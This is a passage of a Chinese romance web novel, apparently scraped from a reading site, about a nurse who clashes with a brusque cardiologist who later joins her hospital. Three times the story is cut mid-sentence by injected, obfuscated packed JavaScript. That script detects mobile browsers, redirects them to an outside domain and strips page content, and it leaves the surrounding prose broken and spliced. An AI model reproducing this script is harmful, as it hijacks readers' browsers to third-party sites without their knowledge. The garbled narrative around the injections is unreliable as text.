《花开有时[日久生情]》 1. 001 狭窄逼仄的走廊里，浓烈刺鼻的气味时刻冲击着人的感官神经。 墙上，白纸黑字贴着六个大字“禁止大声喧哗”，也没能让众人有所意识，反而越来越有正面触犯神灵的嫌隙。 不同口音的外乡人齐聚在本当保持安静的走廊，热闹程度堪比晚间人来人往的老街巷口。 丁浅好不容易踮起脚尖，越过身前那位地中海发型的中年大叔，这才看清那四方的玻璃窗上拉着一道白色帘子，朦朦胧胧，里面什么状况一概瞧不清楚。 心里诸多不满，偏偏又无法发泄。 其实不用她想，这门里也是上着一道锁的，丁浅放下脚跟，缩着肩膀从人群里挣脱出来。 张初华一直坐在身后仅有的十来张座位里，是这一带走廊里罕见的“VIP宝座”。 她们赶了早才好不容易抢到，眼下根本不敢随意离开，生怕连仅剩的休息之地都无法保证。 “妈，您在坚持一会。”耐心渐尽，丁浅捏着手心已经发皱的白色单子，整个人颓然不已。 “浅浅，过来坐会。” “不用，我不累。” 丁浅摇摇头，伸手将背包卸下，从里面摸出一瓶矿泉水。 拧开，递到张初华面前。 这时，前方人头攒动，丁浅落到谷底的情绪顿时爬上眉梢，她目光随着人头望去，果真是门里的年轻男医生探出了半边身子。 “5号6号在不在，5号6号在不在？”男医生接连喊了两声。 “来了。” 前方终于让开一条仅仅三十厘米来宽的间距，丁浅再也管不了什么气味难不难闻，侧着身子将印着6号的单子递交过去，同时伸手等着接应身后还没来得及喝一口水的张初华。 / 门里。 又是另一番景象。 不大的房间内，坐着一共十来余人。 除了她们身下所坐的长发沙之外，对面是两张电脑桌以及一张办公桌。 屋内一共五位男医生。 丁浅进门时，视线刚巧与抬头接4号患者检查报告的主治医生撞到一处。 工作时她与不少科室的主治医生都打过交道，排开那些上了年岁的大主任之外，她几乎没从哪位较轻年纪的医生眼里看到这般平静的神色。 淡泊、无利，好似初冬刚露出些淡黄嫩瓣的寒梅，瞧着没有一点儿趾气。 尤其那双深褐色眼眸，隐藏在半框的黑色镜片后，眼里毫无丁点儿异样，仿佛面前坐着的并不是生死攸关的病人。 直觉告诉她，越是这样瞧着看不出什么情绪的人，越叫人难以相处。 丁浅没有长时间观察人的习惯，何况待会还得与对方沟通，匆匆瞥了一眼，她便提前收回目光，不再往那边看。 转头，正前方那两位年轻男医生交头接耳的声音吸引了她的注意，目光顿时随了过去。 不懂行业内情的怕是以为他俩有什么后台，放着大好学习机会不要，公然摆弄着手里的平板电脑。 丁浅发现好奇的不止是她，旁边不远处的5号患者也跟她一样，目光紧紧盯着那两位年轻人。 “4号，加微信。”声音是从里口那张电脑桌前发出来的，原本还坐在主治医生面前的患者被请到旁边的板凳上，一位明显和善的男医生正在和他详细讲述之后的一系列流程。 “5号。” 听到声音后，负责叫号的男医生从板凳上起来，打开门又去喊后面两个号的患者。 丁浅拥着母亲往前面挪了挪位置，视线比之前更加开阔。 这里距离空调更近，本该可以将身体的燥热完全卸下，谁知前方源源不断传来的说话声，让她们母女二人背后直冒冷汗。 “考不考虑心脏移植？”这是丁浅听到主治医生说的第一句话。 如同层层云雾，生生被一道惊雷撕开。 打得人忍措手不及。 “我儿子才三十岁，砸锅卖铁说什么都要换！”佝偻着后背的半百老人泣不成声，颤抖着应道。 “我事先给您说清楚，一旦确定下来我们会开启数据库全国召集合适脏源，整体费用在五十万左右。根据病人身体状况会有所出入，您能接受就去旁边加微信。” “好，好。”一听有办法，满头白发的老母亲搀扶着儿子坐到了刚刚4号患者所坐的位置。 “6号。”丁浅的心跟着那道平淡的男声一下子提到嗓子眼，心口好似被什么堵住，呼吸都不太顺畅。 “什么情况？” “我妈妈时常会有心跳加快的症状，心要跳出来的那种。”丁浅打开背包，“这是我妈妈之前检查的一系列报告，您——” “小徐，先给她开单子。”对方阻止了她接下来的所有举动，指着先前替她们开门的那位年轻男医生说道：“做完检查过来。” 丁浅刚想多问两句，7号的患者已经站在她们身后，看样子是等得不太耐烦。 “咱们这不认地方上的检查报告。”遇见的病人多了，年轻的男医生嫌麻烦主动解释原因。 来之前的好感瞬间落下去一半，丁浅拿着好几张化验单领着母亲半询问半摸索，接近五点总算完成了所有检查。 回来才发现还得重新排队，她心里的火蹭蹭蹭地往上蹿，恨不得挤到门里与那主治医生理论一番。 “大城市就是这样，我都没急你着什么急？” 此时，走廊内稀稀拉拉走了一大半，张初华拉着女儿坐在门口耐心等着。 “我不是怕您身体吃不消吗？”丁浅忿忿瞪了一眼紧闭的房门，气急败坏地说道。 张初华随后笑了，“当初你不是心心念念要来这里上学，现在还觉得好？” 提到当年那档子事，丁浅脸上划过一阵异样，她半背过身佯装在找东西，那话随着看不见的脸色慢慢渗了出来。 “我是认准那个目标，不是因为这个地方。”顿了顿，她声音放得更低，“好不好的，您也没给我尝试的机会——” “你们也是等着加号吗？” “不是，我们等看报告。”张初华扬一扬手里的检查单，母女俩的谈话戛然而止。 往事突然涌上心头，丁浅说不出的滋味。 当年那束光明明近在咫尺，只忽的一下，就被张初华无情扔到九霄云外。 再之后，对大城市的憧憬渐渐被其他占据，她只能在梦里百转千回时才会遇见那个难以磨灭的身影。 真的没想过挣扎？ 梦里，不停有声音反复问她。 有吗？ 大概有过…… 思绪如汹涌波涛的潮水，一经发现便如迅猛狂奔的战马，踏破河水，越过礁石，奔向前途未知的山丘平地。 没等情绪收回，张初华已经先一步起身，丁浅忙不迭拿着包跟了上去。 屋里，刚刚看完报告的患者与她们擦肩而过，对方愁容满面，连带着陪同的年轻家属脸色都极为凝重。 丁浅不敢往深了去想，扶着母亲坐下乖乖等着医生宣布检查结果。 “基本处于临界值。”大抵看了一下午，主治医生已经戴起口罩，仅露出的那双眼睛多少瞧出些许倦容。 “可以不用开刀吗？”没等对方回答，张初华先一步长舒一口气，仿佛终于要避开那道血光之灾。 “目前看是，但随着年龄增长这种风险程度也会逐步增加，也就是说您不舒服的情况会越来越明显。”对方拇指上推了一下镜框，语气依旧淡漠。 丁浅顾不上先前对他有过非议，此刻像抓住了最后一根救命稻草，盯着那双眸子细问：“如果到了要开刀的地步， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375761|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我妈妈这种情况是生物瓣膜合适还是机械瓣膜？” “看个人需求。” “我查过资料，生物瓣膜术后可以不用吃抗凝药，但有平均使用年限——” “我看你母亲并没有开刀的意愿，等考虑好开刀再谈这些也不迟！”对方将那一叠检查单返还过来，同时出言再次打断丁浅还未说完的话。 没有这家医院的检查单她能理解，可此时身为患者家属，难道连多问一句的理由都没有？ 看着对方身后一整面白墙上挂着的锦旗，瞧着那些深红绸缎烫金大字，丁浅忍不住发笑。 “医生，是不是不住院我们连多问一句的时间都不容许？” 对方抬眼，狭长的眼眸落在她脸上，长久都没有离开。 “你是觉得说清楚，你母亲就会改变主意？”静默片刻，他缓缓开口。 听着毫无一点儿怜悯之心。 “改不改变，难道作为病人家属我们没有资格了解清楚？” “你可以先去看看身后还有多少患者，我把时间分给你，那谁给真正需要手术的病人？” 三言两语，丁浅对他的看法再次发生翻天覆地的变化。 原先只觉得他是那种看惯生死，眼里毫无波澜的判官，如今只当是沾染了大城市独有的那份傲慢与偏见。 丁浅不是爱与人争吵的性格，绝大多数时候宁愿自己咽点苦水把委屈往肚子里吞，也不愿意大动干戈。 但今天，为着母亲，她明显怒了。 怒气刚刚渐起，胳膊已经被张初华拉到一边，“行了，人主任说的也不是没有道理。” “咱们等了大半天，就两句话也不能说吗？” 趁着又有人进来，张初华将女儿拉到门外。 “我倒觉得不说有不说的好。”张初华站在窗子口，明显卸了一身烦恼，仿佛刚刚给她看病的不是什么主治医生，而是掌握生死大权的判官。 “什么都知道，还有什么盼头？”她眉眼藏不住的喜悦。 一时间，丁浅竟然没法辩驳。 “求人不如求己，回头我去了心外科自己去问。” / 晚上七点，魔都的夜生活才刚刚开始。 待到最后一位病人从屋里离开，周黎安摘了眼镜，随手扔在一片杂乱的电脑桌上。 “还行？” 卢俊关了电脑从对面探过身，察觉周黎安这状态差强人意，竟忍不住吐槽起来：“我说你也真是，院长都给你假了，非得跟身体叫什么劲！” “临时被通知换医生，搁谁心里都不舒坦。” “话是这么说没错，可你这不是特殊情况嘛！” “特殊不特殊的，都是给自己找的借口。”周黎安捏着眉心，憔悴的神色落在白织灯下，分外惨白。 他原本皮肤偏白，此刻被冷色调的灯光映照，更显出一种淡淡的病态感。 接连三天没有好好睡过整觉，他的精神状态看起来并不十分理想，若不是心中记挂太多，或许这一刻早已溃不成军。 “想说什么？” “……没有。” “快说。” “你向来不和患者家属一般见识，怎么今天——”卢俊注意到周黎安已经起身走到窗户旁边，正望着窗外一层不变的夜色怔怔出神。 许久没听到回答，他摆摆手干脆收拾东西打算出去吃个夜宵。 “你说那个年轻姑娘？” 周黎安无声叹了口气，脑海里霎时浮现出稚嫩模样的女学生。 她穿一条浅蓝色牛仔裙，高高的马尾束在脑后，脸颊在与他争执时涨得通红，毫不认输的气势。 他注意过那双眼，清澈澄明，只稍稍看一眼便知，定是没有经历过社会的鞭挞和毒打。 “可能真累了。” 2. 002 苏城一入了夏，雨水量直线上升。 上午还是艳阳高照，到了下午天色陡然发暗，没过五点，外面已经淅淅沥沥下起雨来。 丁浅被雨滴敲打玻璃窗的声音给吵醒，砰砰砰，直吵得她脑壳嗡嗡作响。 昨天到家已经接近半夜，再一番洗漱整理，几乎天快亮才勉强睡着。 本想着好好补个觉，谁知没等张初华叫她起床吃晚饭，自己已经醒了。 在床上放空了好一会，丁浅才掀开薄毯下床。 厨房里，张初华正在切黄瓜，打算和皮蛋一块拌到小凉菜。 “妈，什么时候下的雨？”丁浅边打呵欠边将一片切好的黄瓜扔进嘴里。 清甜爽口，瞬间清醒不少。 “你这孩子，手也不洗。”张初华将盘子挪了位置，忍不住数落两句。 丁浅全当没听见，越过对方的肩膀又扔了一片进嘴里，这才心满意足去卫生间洗脸。 简单收拾之后，她再次回到厨房，从张初华手里接过皮蛋，开始敲蛋壳。 “妈，要不您退休算了。”盯着皮蛋上如雪花般精致的花纹，丁浅的心思越发深沉。 “我那一帮学生不管了？”张初华知道女儿好心，可她目前带初二，俨然到了分水岭的关键时期。 “那也不能拿身体开玩笑吧？昨儿医生都说了。” “妈妈心里有数。”张初华等了半天也没等到剥好的皮蛋，扭头才发现女儿脸色不佳。 “我的身体我自己清楚，真到那个时候不用你说，我也知道轻重！”说完张初华打开油烟机，准备炒菜。 轰隆作响的声音灌进耳朵里，弄得人心烦躁，丁浅知道这个时候已经不再适合谈心，索性扭头回了房间。 这间屋子是她定下实习医院时张初华替她租的，地段好，光照充足，除了价格略让人心疼之外，几乎算得上完美。 然而丁浅就是觉得九十来平的房子束缚她太多，从前是锋芒，如今是善言。 哪怕此刻，她想多说一句都没有合适的契机。 丁浅走到窗边，将手伸至窗外。 大颗大颗的雨珠争先恐后般砸在她的手臂上，汇成一道道细流又再次落下，丁浅无动于衷，任由雨水这般肆意拍打着她细嫩的肌肤。 好一会儿，她才将手臂收回。 关了窗户，将桌前的台灯扭亮。 灯光倾泄，书桌上还摊着前两日没看完的护理资料，丁浅将书挪到面前，打算趁着还有点时间充会电。 不知是怎么走的神，只知道张初华的声音从客厅传来时，面前的书一页都没有翻过去。 应了一声，丁浅丢了书落荒而逃。 / “你要穿裙子出门？”饭桌上，张初华看着女儿身上那薄薄一层的白纱裙，眉头就没放下来过。 “裙子方便，打湿了干的也快。”丁浅夹了一块皮蛋送进嘴里，慢条斯理嚼着。 一到夏天，她总是胃口缺缺吃不下饭，为此张初华结束本学期的工作之后，立马坐车过来陪女儿。 察觉女儿只盯着凉拌菜在吃，张初华随手将红烧排骨推到面前，示意丁浅吃上两块。 “你这是年轻身体扛得住，等到我这个岁数有你受的。”见女儿没有动作，她索性挑了两块放进丁浅碗里，并且严厉要求：“吃两块，不然这夜班怎么熬得住？” 拗不过，丁浅皱着眉乖乖将排骨啃干净。 晚上八点的班，丁浅吃完去换了条中裤，准备提前半个小时去坐地铁。 原本她是想骑电动车过去，为此还早早换了裙子，饭桌上张初华那一通数落，她知道不能再在王母娘娘头上造次。 “伞在门口，别忘了。”张初华将桌上收拾干净，抱着一碟碗筷进了厨房。 没一会儿，哗啦啦的水声传来，丁浅瞄了一眼，快速脱下袜子，套了双凉鞋溜出门。 穿裤子她接受，可让她下雨天还穿袜子球鞋，那真是对夏天最惨烈的亵渎。 高中毕业那会没辩过张初华，如今她是能顺着就顺着，实在顺不了就暗地里对着干，绝对不会正面引发冲突。 / 第一人民医院。 丁浅将伞面上的雨水抖落干净，同事沈佳这才姗姗而来。 “下辈子投胎做男人算了。”沈佳气呼呼地放下包，絮絮叨叨说了一堆。 丁浅边换衣服边听她喋喋不休，嘴角没忍住直接勾出了弧度。 “别觉得好笑。我告诉你啊，等你走到我这一步，一定会和我有同样的烦恼。” 沈佳大学毕业就和男朋友结婚，如今二十八岁，孩子已经三岁，正是打不得骂不得的时候。 “那也得等我先遇到合适的对象才行！”丁浅正对着镜子调整护士帽，俨然当成了笑话。 “你那个师兄呢，没可能？”更衣室没人，沈佳关上门询问起丁浅的情感状况。 “要有可能的话，我算不算帮刘院长解决咱们院里员工的个人问题？” “当然啊！” “那还是让刘院长自己费脑筋好了。” “不是吧……还想说你们挺般配呢。”沈佳一看没什么希望，意兴阑珊地去换衣服。 丁浅刚要上前解释，没想到衣服换完沈佳脸上又突然露出神秘兮兮的笑容。 “算了算了，回头等你去了心外科，还怕遇不上？”说完又用胳膊拱了拱，那意思好像刘院长已经替她张罗好了。 “动大刀子的科室还是算了。” 沈佳向来如此，丁浅压根没往心里去。 整理妥当两人同时走出更衣室，沈佳免不了为之前听说的消息再次议论两句。 “昨天吃饭碰上病区那边的护士，听她们那个意思，好像这回除了要进一批年轻的实习医生，几个重点科室还有大主任要过来。” “工作调动，正常。”丁浅从白班同事手里接过记录，说了两句笑便投入工作。 作为整个科室年纪最小的一位护士，丁浅除了长相甜美之外，自身又足够谦虚，一众同事都爱与她搭班。 沈佳也是走了狗屎运，碰上先前与丁浅搭班的同事休病假，才顺理成章给赶上。 接近十一点，输液区渐渐冷清下来。 除了还在吊水的几位病人，偌大的输液区几乎没什么声音。 每到这个时候，丁浅就会与沈佳轮流守在护士台，利用天没亮这会赶紧补点精神。 “看你这呵欠连天的肯定没睡好吧？”沈佳大手一挥，把控着护士台表示自己精力旺盛，让她赶紧回更衣室休息一会。 “我就不跟你客气啦，如果手头来不及你给我打电话，我不关机。” “行了行了，再不去我可反悔了！” 丁浅摘下口罩打算去趟洗手间，路过儿科诊室正巧碰上余笛。 “走啊余姐，一块去。” 碰上的次数多了，一来二去，关系自然热络的多。 余笛将“医生暂且离开，有事电话联系”的牌子挂在门把手上，随丁浅一道走去洗手间。 “年轻真好啊！”余笛盯着镜子里自己莫名冒出来的两条鱼尾纹，忍不住感慨。 “除了年龄，也没其他优势了。”丁浅按了两泵洗手液，边搓手边笑着搭话。 “总比相亲被人挑挑拣拣好吧？”一提到相亲，余笛嘴把不住风，倒豆子似的把心里的憋屈一股脑儿全倒了出来。 “好歹还一个医院呢，谁一上来就追着问女方打算什么时候要孩子啊？” 余笛控诉的对象正是医院神经科的副主任袁励勤。 轮岗那会丁浅有所耳闻，只知道对方医术精湛，至于人品性格一概不知。 “还真没看出来。”听完余笛的详细描述，丁浅明显来了精神，睡意都跟着对方的话跑偏了。 “要不怎么说人不可貌相呢？我可跟你说啊，就一些男医生也就医术还行，其他方面可真不好说。” 余笛四周张望一番，回头小声在丁浅耳边嘀咕：“就普外科那边，一护士刚结婚没多久就闹着要离婚，这事你知道吧？” 这事她听过，是某天夜班沈佳偷偷告诉她的。 无外乎就是那位护士嫁了位医生，结婚之后才发现自己丈夫原来不行。 让她无法理解的是，好端端的夫妻矛盾，为什么要弄得人尽皆知。 “这种事不应该避着点吗？” “是应该避着，但她老公位置高啊，上头给了压力，要不然小护士会把私密的东西拿出来到处说？” 余笛这么一说她算是听明白了，敢情这是想逼迫医生老公主动提出离婚！ “原本我还不信，昨儿听到袁主任各种挑三拣四我才发现，天下乌鸦竟一般黑！”余笛忍不住，一句话将所有当医生的男人都给得罪了。 丁浅面上尴尬，想替她们护士长辩驳两句，又担心触到余笛痛处， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还不是给你发微信不回又不去我那玩，人家才一大早赶过来见你嘛！” 丁浅受不了江洛撒娇，尤其她故意夹着嗓子娇滴滴说话的语气，简直会让全身的毛细血管瞬间凝固。 “你给我发消息了吗？”丁浅淡定的从包里掏出手机，后知后觉想起自己昨天确实看到对方的消息，只不过后来被什么事打岔给忘了。 “对不起啊我给忘了，我请你吃早饭弥补行吗？” “随我挑。” “想吃什么都行。” 江洛七拐八拐，最后将车停在一条老街的巷子口。 “这里有家腰花干拌据说很好吃。”顺着青石板路，江洛领着丁浅跨进一家不起眼的门店里。 店面有些年头，丁浅注意到墙壁多处开裂，泛黄的裂痕将原本掩盖住的深褐色水泥扒开一条又一条的缝隙。 堂食的客人不少，丁浅瞧见一对老夫妻已经吃完，连忙示意江洛先过去占座。 “一份干拌腰花，一份鸡蛋汤面。” 领了号牌，丁浅回到桌前。 “饿了一晚胃口也没好点？” 丁浅摇摇头，“好不了。” 知道其中缘由，江洛岔开话题重新回到昨天没聊完的微信内容上。 “我还没来得及问你呢，你带阿姨去上海看病，怎么最后跟人家医生呛上了？” 昨天收到消息，丁浅简单提了一嘴，大概后来张初华说了什么给打断了。 “还不是那医生态度太恶劣了。”此时面条端上桌，丁浅吹一口面汤开始断断续续说起看病经过。 “也太敷衍了吧。”江洛夹了一筷子腰花送进嘴里，开始替她打抱不平：“陈越还给我打包票，说上海这位专家医术高明，我看就是狗屁！” 两人的说话声引来旁边桌中年妇女的注意，对方从头到尾将她们打量一番，最后端着面碗果断换了位置。 江洛与丁浅短暂交换了一下眼神，心灵感应一般开始埋头吃面。 吃完将人送回小区，江洛正要回去，丁浅突然想起什么，扒住车门对车里交代：“这事别跟陈哥多说，他好心好意帮我。” 3. 003 八月一过，蝉鸣渐增。 室外温度灼人，室内闷热难捱。 丁浅摘下口罩时，面部已经被汗液蒸得泛红，正打算回更衣室吃午饭，护士长庞燕将她喊进了办公室。 “先坐。”护士长转头接了杯水放在丁浅面前，少有的举动让她受宠若惊。 “紧张什么？”庞燕笑着说道。 庞燕年过四十，是急诊科说话极有分量的一位前辈。 一众护士除了怕她也敬她，在她面前压根不敢胡乱说笑。 丁浅亦是如此。 “让你过来是想告诉你借调通知下来了，下周一你去心外病区，招呼我已经打过。” “谢谢护士长。” “只是借调，我没答应放人，你就当过去学习不用有太大负担，懂吗？” “我知道的。”丁浅抱着纸杯浅抿一口温水，低垂地眉眼看起来十分乖巧。 苏城说大不大，第一人民医院算是市里最好的一家三甲医院。 今年整个市除了要对城市建设进行扩大之外，重点优化项目就放在她们医院。 心外科就是其中之一。 各科或多或少都派出护士进行支援，庞燕想着自己科室已经忙到没处落脚就没当回事，谁知道心外科那边苏棠在会议上直接点名要人，刘院长当场遂了她的意愿。 说是放，庞燕也没真舍得。 丁浅是她一直盯到现在，小姑娘除了工作细心，态度脾气都是一等一的好，完全拱手她可不愿意。 这才有了只借调支援这么一回事。 “三个月后那边没有问题，我去找刘院长。”庞燕补充说道。 “我都听您的。” / 周一。 丁浅一早便出现在心外病区护士台，等着苏棠护士长。 “浅浅，我们终于又在一块了。”要不是周围有人，夏凝怕是能给丁浅一个大大的拥抱。 早在通知下发时她就激动坏了，足足等了一个星期才终于等到好室友过来。 “也就三个月。”丁浅面色不改，一贯微笑着和她说话。 两人大学时就住同一间宿舍，实习也分在一家医院。夏凝一早就认定两人的关系一定会从好室友变成好同事，谁知轮岗结束两人却分开了。 “三个月好歹也有九十天，你是不知道没有你在的日子多无聊。” 丁浅眉头微扬，好看的唇线一张一合，愉悦的腔调顿时从嘴里冒出：“你这话说出来，确定不会得罪其他同事？” “嗐，她们都听腻了。” “什么听腻了？” 中气十足的声音从后面传来，夏凝后背直冒冷汗。 “护士长早！”丁浅咧开嘴，笑着打了声招呼。 苏棠要比庞燕更加严格，大抵是动大手术的科室，丁浅轮岗时可没少被批评。 那会她挨的骂最多，倒不是能力不够，而是放在急诊科适用的好脾气在这里并不那么合适。 丁浅也反思过，可没想到当遇上支援这么一事，苏棠还是点名要她。 “还是软性子？” “比之前好多了。”丁浅面上浮起两朵红云，总觉得这跟敞开心扉挖她糗事没什么两样。 “知道我为什么点名要你？” 丁浅摇头，她不擅长揣测人心，更何况当时她的表现并不算突出。 “你的脾气不是我夸，目前心外科找不出第二个。” “您不是说过我这脾气不适合在——” “此一时彼一时。如今科室要来大主任，没有个好脾气做辅助实在头疼。” 这么一说丁浅算是懂了。 敢情是让她这么个有耐心的护士去配合难缠的大主任呗？ 好听点是为了更好的展开工作，说难听点…… 算了，既来之则安之。 苏棠前脚刚交代完工作，没过多一会儿夏凝再次出现，神出鬼没的举动让丁浅误以为心外科专养闲人。 “病区这么清闲吗？” “不是清闲。是护士长知道我们关系铁，特意让我带你先适应适应环境。” “我还当你又想偷懒呢。” “病区好不好，我再怎么懒散可不敢拿病人的身体开玩笑！”夏凝正色道。 换上病区护士长穿的白大褂，丁浅随夏凝一块去病房熟悉情况。 还没走到门口，夏凝八卦的心思再次跑了出来。 “新来的大主任周三到，护士长跟你说了没？” “嗯，让我跟着。” “为什么？” “……觉得我脾气好。” “啊！”夏凝突然想起什么，顿时小声尖叫起来：“你要做不好是不是我也跟着一块遭殃？” 丁浅点点头，故意逗她：“有可能。所以啊，好好带我，别浪费你们护士长的一番苦心。” 夏凝颓败，哭丧着脸一整个无精打采。 丁浅不免觉得好笑，便自损起来：“我这个打头阵的还没露怯，你倒先弃枪而逃了？” “我是替你打抱不平！”夏凝口口声声表示：“谁家科室派人过来是当受气包的呀，这事护士长办的太不厚道！” “反过来想，其实也说明我这个人还是有可用之处，你不觉得？” “也就你想得开。换成是我，一定觉得护士长体恤本科室护士，故意搞什么区别对待！” 夏凝的好心丁浅如何不知？ 可情况就在眼前，一时半会又无法改变，她哪里还有时间去想什么背后隐藏的真相？ “走一步看一步吧，总不至于刚来就给人下马威。” 丁浅对自己有一半以上的把握，只要不跟人正面起冲突，化干戈为玉帛也是迟早的事。 上学至今她没得罪过人，眼下也万万不信，自己会惹到什么新来的大主任。 / 晚上到家，张初华正窝在沙发上看电视。 宫斗剧，讲述的是皇帝与一众嫔妃之间的爱恨情仇。 张初华正看得入神，连女儿进门都没怎么在意。 “妈，您怎么又炖鸡汤啊？”丁浅看着餐桌上提前盛在碗里的鸡汤，眉头直皱。 “你说什么？”听见女儿的声音，张初华依依不舍按下暂停，起身走了过来。 “不想喝。” “你这经常值夜班，不补怎么行？”不容女儿拒绝，张初华将勺子递过来，打算盯着喝完。 从小到大，丁浅一直没法拒绝母亲的“良苦用心”，眼下尽管没什么胃口，但为了耳朵免受摧残，她撇撇嘴，一口闷，将鸡汤给喝了。 张初华心满意足，收了碗筷去厨房清洗。 想到自己调到病区，丁浅觉得自己有必要和母亲知会一声。 “妈，我最近可能都是白班。” “那不挺好？”张初华明显没听懂女儿话里的意思，她放下洗了一半的碗筷，扭过头开始精打细算起来。 “趁着我还没回去，多给你补补。” “妈，我的意思是…咱们饮食可以清淡点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375763|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我多休息休息就可以了——” “不行！”一听女儿说这话，张初华顿时拉下脸，拿起一贯教育学生的那副面孔，苦口婆心说了一堆。 抗议无效，丁浅知道说再多都无济于事。 好在还有十来天，她暗暗想着。 转眼到了周三。 丁浅从起床开始，右眼皮就一直跳个不停。 起初以为自己昨夜看手机太晚，直到拐出小区大门踩上一摊狗屎，她才意识到这恐怕并不是什么吉兆。 粘在脚底板的那块黑乎乎的东西，把她早早做好的心理准备彻底打散，看着令人频频作呕的污秽，丁浅咬咬牙快步往回走。 时间不早，她随便换了双鞋又匆匆出门，上了出租车才发现，自己好死不活偏偏拿了那双买来只穿过一次的凉鞋！ 当初自己第一眼见到就爱的不行，尤其脚脖子上那根细链，简直戳中她的少女心。 穿过一回，她的脚后跟被磨起泡才老老实实做了放弃处理。 如今看来，中看的东西不一定百分百中用。 不知是不是张初华提前整理过鞋柜，反正丁浅发现时，那双鞋已经被她穿在了脚上。 布灵布灵的链条在阳光下耀眼夺目，衬着她的脚脖子纤细修长，骨感匀称的脚面几乎白到发光。 想到这么好看的链子会像枷锁一样缠她一路，丁浅实在提不起任何欣赏的兴致。 下出租车后，她弯腰直接将链子解了当成凉拖。 几秒钟就能完成的动作，哪知道她的包在这个时候从肩膀滑落，一堆东西从里面掉下来，她又忙蹲下挨个去捡。 丁浅所站的位置正是车辆进入院区的必经之路，原本以为不碍事，这番动静之后，身后早有汽车逼近并按起喇叭。 工作日一向是医院最繁忙的时候，丁浅连忙退到一边，这才发现按喇叭的不是身后那辆黑色奥迪，反而是贴在奥迪后面的那辆绿色比亚迪。 驾驶座位上是位中年男人，五官样貌还算端正，唯独这嘴里吐出来的东西属实不上台面。 “大清早凑什么热闹？没看见这么多车都等着进医院吗？”男人降了一半车窗，正横着眼瞪她。 “对不起对不起，我东西掉了。”丁浅顾不上两手还拿着东西，连声致歉。 男人恐怕不是什么怜香惜玉的脾气，哪怕丁浅态度诚恳，对方仍然要说上几句不着调的话。 “你这小姑娘说谎也真是眼睛不带眨的，什么时候不掉偏偏这个时候掉，你这不是故意扰乱交通吗？” 闻言，丁浅没再说话。 以她在急诊待了这么久所累积的经验来说，凡遇到不讲理的人，能少说就少说，否则有理都会变成无理。 就对方这不依不饶的架势，但凡再呛两句保准对方会把车停在路中央，到时候她岂不成了医院的名人？ 丁浅没回头，快步往里走。 身后那辆黑色奥迪这时从她身侧越过，缓缓朝停车场开去。 丁浅瞥了一眼。 黑茶色的玻璃窗根本看不清驾驶人的长相，不过冲这车身，指定也是位低调内敛的男人。 不混乱局面，绝对称得上绝佳绅士。 奥迪最终停在门口画着停车线的车位上，仅剩的最后一个车位被占，惹得跟在车后的比亚迪车主再次骂骂咧咧。 这次丁浅没忍，直接朝那车的位置露出一抹幸灾乐祸的笑容。 随着那辆绿色出租车离开，她才注意到黑色奥迪的车牌。 沪。 4. 004 周黎安昨日回的苏城，没提前通知姑姑周芸，只在晚间饭后过去待了一会。 今早他开车去医院报道，车子没到医院就接到表弟陈越的电话。 对方来势汹汹，逼问的口气听着好像他犯了什么大错。 “哥，你回来怎么都不提前说一声？” 周黎安戴着蓝牙耳机，边注意前方车况边简单回他：“说了你能从外地赶回来？” “赶不回来…好歹也能给我妈说一声，你说说你这都多久没来我们家了？” “上个月不是才回来？” “不一样。你那是休假！” 此时车子拐进医院那条道，周黎安打了方向正要开口，冷不丁注意到一抹略有些印象的身影。 “嗯？”待到看清长相，周黎安明显意外。 “哥，你好歹说句话呀，别只会‘嗯’‘啊’‘哦’之类行不行？”电话里，陈越火急火燎，周黎安却被前面的一幕勾住兴趣。 “在开车，晚点再说。”没给任何回答，他主动切断通话。 这个世界果真是小。 上个月还在他面前气势汹汹指责他的姑娘，如今正饱受别人言语上的攻击。 周黎安的车一直跟在丁浅身后，刚刚也是看出她脚后跟被磨得通红才会放低车速，无意中做成的好事却被别人拿去当了反面教材。 本打算按下车窗朝后面解释两句，看到是她，周黎安突然犹豫了。 他没有落井下石的意思，不过就是想看看她到底能不能沉得住气。 事实相反。 面对身后言语恶劣的中年男人，她只是干瞪了两眼，再之后一言不发退到路边。 这态度倒挺有点息事宁人，若不是亲眼见过她气急败坏的模样，周黎安定会觉得她本就不爱与人计较。 等到他将车停到地面仅剩的那个空位上，周黎安后知后觉发现，对方远不止他所想。 一身清凉打扮的姑娘，堂而皇之对着掉头去地下车库的出租车露出狡黠的笑容，白皙光洁的脸颊，上面分明写着“幸灾乐祸”四个大字。 周黎安刚刚还对她产生的那点愧疚，此刻荡然无存。 这哪里是被人欺负了？ 明明就是顶着纯良外表，专等看人出洋相的坏丫头！ 那姑娘已经转过身进了大厅，周黎安脑海里的笑容仍然挥之不去，他无声扯了下嘴角，只当凑巧。 / 丁浅趿着凉鞋进了心外科，夏凝率先留意到她的状况。 “大主任还没来，你不会撂挑子不干吧？” “没，脚后跟磨了。” “还好还好。”夏凝拍拍胸脯，“我当你受伤了，别回头护士长把你这工作丢给我。” 